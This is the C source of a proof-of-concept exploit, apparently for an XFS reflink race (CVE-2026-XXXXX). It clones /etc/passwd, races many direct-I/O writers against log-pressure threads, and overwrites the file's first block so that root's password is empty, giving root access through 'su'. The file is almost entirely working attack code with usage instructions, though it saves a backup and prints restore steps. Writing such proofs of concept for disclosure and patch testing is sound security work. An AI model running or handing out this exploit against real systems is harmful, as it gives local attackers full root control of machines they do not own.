blob: f2d4402a940a8092dd5d349cdab4bfaf563e4184 [file]
/* refluxfs.c -- RefluXFS PoC (CVE-2026-XXXXX)
*
* This PoC targets /etc/passwd (always world-readable, arch-independent, easy
* to verify and revert). It never opens the target for write; the corrupting
* DIO is issued against the attacker-owned CLONE, whose stale imap points at
* the target's block. Before racing, it saves a full BYTE-COPY backup of the
* target (read/write -- never reflink, so it takes no refcount on the block).
* On success it leaves /etc/passwd modified so you can `su` (empty password),
* confirm uid=0, and restore from the backup.
*
* Build: cc -O2 -pthread -o refluxfs refluxfs.c
* Run: ./refluxfs # zero-arg defaults; safe to Ctrl-C
*
* Exit: 0 vulnerable (race fired; target left modified, backup saved)
* 1 precondition unmet, or runtime error (with a specific reason)
* 2 race did not fire (budget exhausted or interrupted)
*/
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/vfs.h>
#include <linux/fs.h>
#include <linux/magic.h>
#include <linux/fiemap.h>
#include <stdatomic.h>
#ifndef FICLONE
#define FICLONE _IOW(0x94, 9, int)
#endif
/* original PoC assumed 4k fsblocks, but use 64k to cover more fs geometries */
#define BLK 65536
/* ---- configuration (overridable via CLI) --------------------------------- */
static const char *target_path = "/etc/passwd";
static const char *clone_dir = "/var/tmp";
static int nr_writers = 32;
static int nr_pressure = 8;
static int budget_s = 300;
/* ---- state --------------------------------------------------------------- */
static char workdir[512], clone_path[600], backup_path[600];
static int target_fd_ro = -1;
static unsigned char golden[BLK]; /* first block of target, verbatim */
static ssize_t golden_len; /* == min(i_size, BLK) */
static unsigned char *dio_buf; /* BLK-aligned; every writer pwrites */
static int keep_backup; /* set on success; gates atexit() */
static atomic_int sigint; /* set by handler; read only by main */
static atomic_int stop; /* set by main; read by threads */
static long rounds;
static pthread_barrier_t bar;
/* ---- helpers ------------------------------------------------------------- */
__attribute__((format(printf, 2, 3)))
static void say(const char *tag, const char *fmt, ...)
{
va_list ap; va_start(ap, fmt);
fprintf(stderr, "[%s] ", tag);
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
}
#define OK(...) say("+", __VA_ARGS__)
#define BAD(...) say("!", __VA_ARGS__)
#define INFO(...) say("*", __VA_ARGS__)
static void die(int code, const char *why, const char *hint)
{
BAD("%s: %s", why, strerror(errno));
if (hint) INFO("%s", hint);
exit(code);
}
static void on_signal(int sig)
{
(void)sig;
atomic_store(&sigint, 1);
}
/* Registered with atexit() as soon as workdir exists; runs on every exit
* path (die(), preflight refusal, timeout, success). Always removes clone
* and pressure files; removes backup + workdir unless the run succeeded. */
static void cleanup(void)
{
unlink(clone_path);
for (int i = 0; i < nr_pressure; i++) {
char p[600]; snprintf(p, sizeof p, "%s/press.%d", workdir, i); unlink(p);
}
if (!keep_backup) {
unlink(backup_path);
rmdir(workdir);
}
}
/* ---- preflight ----------------------------------------------------------- */
static int same_fs(const char *a, const char *b)
{
struct stat sa, sb;
if (stat(a, &sa) || stat(b, &sb)) return -1;
return sa.st_dev == sb.st_dev;
}
/* FIEMAP: is the target's first extent already shared (refcount > 1)?
* If so the race can never see refcount==1. */
static int target_first_extent_shared(void)
{
union {
struct fiemap fm;
char raw[sizeof(struct fiemap) + sizeof(struct fiemap_extent)];
} q;
memset(&q, 0, sizeof q);
q.fm.fm_length = BLK;
q.fm.fm_flags = FIEMAP_FLAG_SYNC;
q.fm.fm_extent_count = 1;
if (ioctl(target_fd_ro, FS_IOC_FIEMAP, &q) < 0) return -1; /* unknown */
if (q.fm.fm_mapped_extents < 1) return -1;
return (q.fm.fm_extents[0].fe_flags & FIEMAP_EXTENT_SHARED) ? 1 : 0;
}
static void preflight(void)
{
struct stat st;
/* 1. target readable */
target_fd_ro = open(target_path, O_RDONLY);
if (target_fd_ro < 0)
die(1, "open target O_RDONLY",
"Target must be world-readable. /etc/passwd is on every distro.");
if (fstat(target_fd_ro, &st)) die(1, "fstat target", NULL);
golden_len = pread(target_fd_ro, golden, BLK, 0);
if (golden_len < 0) die(1, "read target", NULL);
OK("target %s: readable, %lld bytes (using first %zd)",
target_path, (long long)st.st_size, golden_len);
if (st.st_blksize != BLK)
INFO("note: st_blksize=%ld != %d -- this PoC assumes 4K fs blocks "
"and may false-negative otherwise.", (long)st.st_blksize, BLK);
/* We only assume line 1 is `root:x:...` -- universal on shadow-using Linux.
* `root::...` means a previous run already emptied the password field. */
if (golden_len >= 6 && !memcmp(golden, "root::", 6)) {
BAD("target line 1 already has an empty password field (root::).");
INFO("A previous run left it modified. Restore first (as root, or `su`):");
INFO(" dd if=%s/.refluxfs-%d-PID/target.orig of=%s",
clone_dir, (int)getuid(), target_path);
INFO("(ls -d %s/.refluxfs-%d-* to find the right PID directory;",
clone_dir, (int)getuid());
INFO(" use dd -- cp, and recent coreutils cat, may reflink.)");
exit(1);
}
if (golden_len < 8 || memcmp(golden, "root:x:", 7) ||
!memchr(golden, '\n', golden_len)) {
BAD("target line 1 is not \"root:x:...\\n\" -- unexpected format.");
INFO("This PoC's payload assumes the standard shadow-backed root entry.");
INFO("Use -t to point at a different target or adjust the payload.");
exit(1);
}
/* 3. clone_dir on the same superblock */
if (access(clone_dir, W_OK)) die(1, "clone dir not writable",
"Need a writable directory on the SAME XFS filesystem as the target.");
int s = same_fs(target_path, clone_dir);
if (s < 0) die(1, "stat clone dir", NULL);
if (!s) {
BAD("clone dir %s is NOT on the same filesystem as %s (st_dev differs).",
clone_dir, target_path);
INFO("FICLONE returns -EXDEV across superblocks. Use -d with a writable");
INFO("directory on the target's mount (findmnt -T %s).", target_path);
exit(1);
}
OK("clone dir %s: writable, same st_dev as target", clone_dir);
/* 4. workdir */
snprintf(workdir, sizeof workdir, "%s/.refluxfs-%d-%d",
clone_dir, (int)getuid(), (int)getpid());
if (mkdir(workdir, 0700) && errno != EEXIST)
die(1, "mkdir workdir", NULL);
snprintf(clone_path, sizeof clone_path, "%s/clone", workdir);
snprintf(backup_path, sizeof backup_path, "%s/target.orig", workdir);
atexit(cleanup); /* every exit() from here on cleans workdir */
/* Full BYTE-COPY backup of target (read/write, never FICLONE/
* copy_file_range -- must not take a refcount on the target's block). */
{
int bfd = open(backup_path, O_WRONLY|O_CREAT|O_TRUNC, 0600);
if (bfd < 0) die(1, "open backup", NULL);
unsigned char buf[8192]; ssize_t n; off_t off = 0;
while ((n = pread(target_fd_ro, buf, sizeof buf, off)) > 0) {
if (write(bfd, buf, n) != n) die(1, "write backup", NULL);
off += n;
}
if (n < 0) die(1, "read target for backup", NULL);
fsync(bfd); close(bfd);
OK("workdir %s", workdir);
OK("backup %s (%lld bytes, byte-copy -- no reflink taken)",
backup_path, (long long)off);
}
/* 5. abort if target's first extent is already shared (checked BEFORE we
* FICLONE ourselves and create a share). */
int sh = target_first_extent_shared();
if (sh == 1) {
BAD("target's first extent is ALREADY SHARED (FIEMAP_EXTENT_SHARED).");
INFO("The race needs refcount(X) to drop to exactly 1; a pre-existing");
INFO("reflink (e.g. `cp --reflink=auto` backup, coreutils >= 9.0 default)");
INFO("keeps it >= 2 and the race can never fire. Reset primitive:");
INFO(" chsh -s /usr/bin/bash");
INFO(" (or `-s /bin/bash` if that says 'Shell not changed.'; on");
INFO(" RHEL-family, chsh is in the optional util-linux-user pkg)");
INFO("This rewrites /etc/passwd via rename(2) as a fresh unshared inode.");
exit(1);
} else if (sh == 0) {
OK("target's first extent is not pre-shared (refcount==1)");
} else {
INFO("cannot determine sharing state via FIEMAP -- proceeding.");
}
/* 6. FICLONE actually works (=> reflink=1) */
int c = open(clone_path, O_RDWR|O_CREAT|O_TRUNC, 0600);
if (c < 0) die(1, "open clone", NULL);
if (ioctl(c, FICLONE, target_fd_ro) < 0) {
int e = errno;
BAD("FICLONE(clone <- target) failed: %s", strerror(e));
if (e == EOPNOTSUPP)
INFO("This XFS was made with reflink=0 (xfsprogs < 5.1.0 or explicit).");
else if (e == EXDEV)
INFO("Different filesystem after all -- pick another -d directory.");
close(c);
exit(1);
}
close(c);
OK("FICLONE works -- filesystem has reflink=1");
/* 7. O_DIRECT open + one aligned pwrite actually work. All writers share
* this one buffer -- payload never changes and pwrite() only reads it. */
if ((errno = posix_memalign((void **)&dio_buf, BLK, BLK)))
die(1, "posix_memalign", NULL);
memset(dio_buf, 0, BLK);
c = open(clone_path, O_RDWR|O_DIRECT);
if (c < 0) die(1, "open clone O_DIRECT",
"O_DIRECT is required to reach xfs_direct_write_iomap_begin().");
if (pwrite(c, dio_buf, BLK, 0) != BLK)
die(1, "O_DIRECT pwrite (alignment?)",
"This PoC assumes 4K DIO alignment (default on all target distros).");
close(c);
OK("O_DIRECT open + %d-byte aligned pwrite work on clone", BLK);
}
/* ---- race machinery ------------------------------------------------------ */
static int reclone(void)
{
int c = open(clone_path, O_RDWR|O_CREAT|O_TRUNC, 0600);
if (c < 0) return -errno;
int r = ioctl(c, FICLONE, target_fd_ro) < 0 ? -errno : 0;
close(c);
return r;
}
static int target_changed(void)
{
unsigned char b[BLK] = {0};
/* DIO landed on disk under a different address_space; drop the target's
* (stale, clean) cached page so we re-read from disk. */
posix_fadvise(target_fd_ro, 0, 0, POSIX_FADV_DONTNEED);
ssize_t n = pread(target_fd_ro, b, golden_len, 0);
return n == golden_len && memcmp(b, golden, golden_len) != 0;
}
static void *writer(void *arg)
{
(void)arg;
for (;;) {
pthread_barrier_wait(&bar); /* start of round */
if (atomic_load(&stop)) break; /* set only by main, only when
* every writer is parked here */
int fd = open(clone_path, O_RDWR|O_DIRECT);
if (fd >= 0) { (void)!pwrite(fd, dio_buf, BLK, 0); close(fd); }
pthread_barrier_wait(&bar); /* end of round */
}
return NULL;
}
static void *pressure(void *arg)
{
char p[600];
snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg);
int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600);
if (fd < 0) return NULL;
char b = 0;
while (!atomic_load(&stop)) {
/* return values irrelevant -- goal is XFS log traffic, not the data */
(void)!pwrite(fd, &b, 1, 0);
(void)!ftruncate(fd, BLK);
fdatasync(fd);
(void)!ftruncate(fd, 0);
}
close(fd);
return NULL;
}
/* ---- main ---------------------------------------------------------------- */
static void usage(const char *argv0)
{
fprintf(stderr,
"usage: %s [-t target] [-d clone-dir] [-s seconds] [-w writers] [-p pressure]\n"
" -t target file (default /etc/passwd; line 1 must be root:x:...)\n"
" -d clone/work directory (default /var/tmp; must be writable, same XFS as -t)\n"
" -s budget in seconds (default 300)\n"
" -w concurrent DIO writers (default 32)\n"
" -p log-pressure threads (default 8)\n",
argv0);
}
int main(int argc, char **argv)
{
int opt;
while ((opt = getopt(argc, argv, "t:d:s:w:p:h")) != -1) switch (opt) {
case 't': target_path = optarg; break;
case 'd': clone_dir = optarg; break;
case 's': budget_s = atoi(optarg); if (budget_s < 1) budget_s = 1; break;
case 'w': nr_writers = atoi(optarg); if (nr_writers < 2) nr_writers = 2; break;
case 'p': nr_pressure = atoi(optarg); if (nr_pressure < 0) nr_pressure = 0; break;
default: usage(argv[0]); return 1;
}
struct utsname un;
uname(&un);
INFO("RefluXFS PoC -- kernel %s", un.release);
/* Install handlers BEFORE preflight so Ctrl-C after workdir/clone creation
* still reaches atexit(cleanup) instead of leaving a reflinked clone (which
* would keep the target's extent SHARED and defeat every later run). */
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
preflight();
/* Payload: surgical edit of line 1 only. `root:x:...\n` -> `root::...\n\n`.
* Shift the byte range [6, nl] one position left over the `x`; the
* original `\n` at position nl is untouched, so we get two consecutive
* newlines and every byte from line 2 onward stays at its ORIGINAL
* offset -- correct for any file size, no entry straddles a boundary. */
memcpy(dio_buf, golden, golden_len);
ssize_t nl = 0;
while (nl < golden_len && golden[nl] != '\n') nl++;
memmove(dio_buf + 5, dio_buf + 6, (size_t)nl - 5); /* nl>=7 by preflight */
/* threads */
if ((errno = pthread_barrier_init(&bar, NULL, nr_writers + 1)))
die(1, "pthread_barrier_init", NULL);
pthread_t *tw = calloc(nr_writers, sizeof *tw);
pthread_t *tp = calloc(nr_pressure ? nr_pressure : 1, sizeof *tp);
if (!tw || !tp) { BAD("calloc: out of memory"); exit(1); }
for (int i = 0; i < nr_writers; i++)
if ((errno = pthread_create(&tw[i], NULL, writer, NULL)))
die(1, "pthread_create writer", NULL);
for (int i = 0; i < nr_pressure; i++)
if ((errno = pthread_create(&tp[i], NULL, pressure, (void*)(intptr_t)i)))
die(1, "pthread_create pressure", NULL);
/* Race: reclone -> release all writers -> check target -> repeat. */
INFO("racing: %d writers + %d log-pressure threads, up to %ds ...",
nr_writers, nr_pressure, budget_s);
struct timespec t0, t; clock_gettime(CLOCK_MONOTONIC, &t0);
int rc = 2, e;
while (!atomic_load(&sigint)) {
if ((e = reclone()) < 0) {
fprintf(stderr, "\n");
BAD("reclone: %s", strerror(-e));
rc = 1; break;
}
rounds++;
pthread_barrier_wait(&bar); /* release writers */
pthread_barrier_wait(&bar); /* writers done */
if (target_changed()) { rc = 0; break; }
clock_gettime(CLOCK_MONOTONIC, &t);
long el = t.tv_sec - t0.tv_sec;
if (el >= budget_s) break;
if ((rounds & 0xff) == 0)
fprintf(stderr, "\r round %ld (%lds, ~%ld r/s) ",
rounds, el, el ? rounds/el : rounds);
}
fprintf(stderr, "\n");
/* Shutdown. Every path out of the loop above leaves each writer either
* already at (or on its way to) the start-barrier -- the loop never breaks
* between the two barrier_wait()s, and writers only test `stop`, which is
* still 0. Set `stop` now, cross the start-barrier once to release them;
* they observe `stop` immediately after and exit without a second wait. */
atomic_store(&stop, 1);
pthread_barrier_wait(&bar);
for (int i = 0; i < nr_writers; i++) pthread_join(tw[i], NULL);
for (int i = 0; i < nr_pressure; i++) pthread_join(tp[i], NULL);
free(tw); free(tp);
if (rc == 0) {
keep_backup = 1; /* atexit(cleanup) leaves backup + workdir */
char now[96] = {0};
if (pread(target_fd_ro, now, sizeof now - 1, 0) > 0)
for (char *q = now; *q; q++) if (*q == '\n') { *q = 0; break; }
BAD("=========================================================");
BAD("VULNERABLE -- %s block 0 overwritten via stale-imap DIO", target_path);
BAD("first line is now: %s", now);
BAD("hit at round %ld", rounds);
BAD("=========================================================");
fprintf(stderr, "\n");
INFO("Confirm: su (empty password -> `id` shows uid=0)");
INFO("Restore: # dd if=%s of=%s", backup_path, target_path);
INFO(" (as root; dd is read/write. Do NOT use cp or cat: cp");
INFO(" reflinks via FICLONE by default (>=9.0), and recent");
INFO(" coreutils cat uses copy_file_range() which also");
INFO(" reflinks -- either would leave the target SHARED.)");
} else if (rc == 2) {
OK("race did not fire in %ld rounds.", rounds);
if (!atomic_load(&sigint))
INFO("Kernel is likely PATCHED (or window too tight -- retry with larger -s / -w).");
}
return rc;
}